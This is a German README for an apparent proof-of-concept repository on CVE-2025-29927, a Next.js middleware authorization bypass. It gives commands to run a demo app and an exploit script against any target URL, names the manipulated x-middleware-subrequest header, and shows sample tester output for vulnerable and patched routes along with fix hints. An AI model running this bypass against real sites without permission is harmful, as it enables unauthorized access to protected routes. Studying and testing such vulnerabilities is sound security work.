
Dieses Repository enthält einen Proof of Concept (PoC) und ein Exploit-Skript für CVE-2025-29927, eine kritische Schwachstelle in Next.js, die es Angreifern ermöglicht, in Middleware implementierte Autorisierungsprüfungen zu umgehen.
Dieses Repository enthält einen Proof of Concept (POC) für CVE-2025-29927, eine kritische Schwachstelle in Next.js, die es Angreifern ermöglicht, Autorisierungsprüfungen zu umgehen, die in Middleware implementiert sind.
Diese Next.js-Anwendung demonstriert die Schwachstelle mit einer geschützten Dashboard-Route.
npm install
npm run build
npm run start
Mit dem Exploit-Skript kann jede Next.js-Anwendung auf diese Schwachstelle getestet werden.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
Das Exploit-Tool:
x-middleware-subrequest zu umgehen=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
Eine Fix-Implementierung ist im how-to-fix-Zweig verfügbar.
Next.js-Version aktualisieren (Empfohlen)
Sekundäre Validierung implementieren
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js verwendet einen internen Header x-middleware-subrequest, um rekursive Anfragen zu verhindern. Diese Schwachstelle ermöglicht es Angreifern, Sicherheitsprüfungen der Middleware zu umgehen, indem sie diesen Header manipulieren.
Möchten Sie weiter gehen? Diese CVE ist als Flagge in OSS OopsSec Store implementiert, einem absichtlich verwundbaren Labor für offensive Security-Schulungen.
Dieses Tool dient ausschließlich Bildungs- und Testzwecken. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.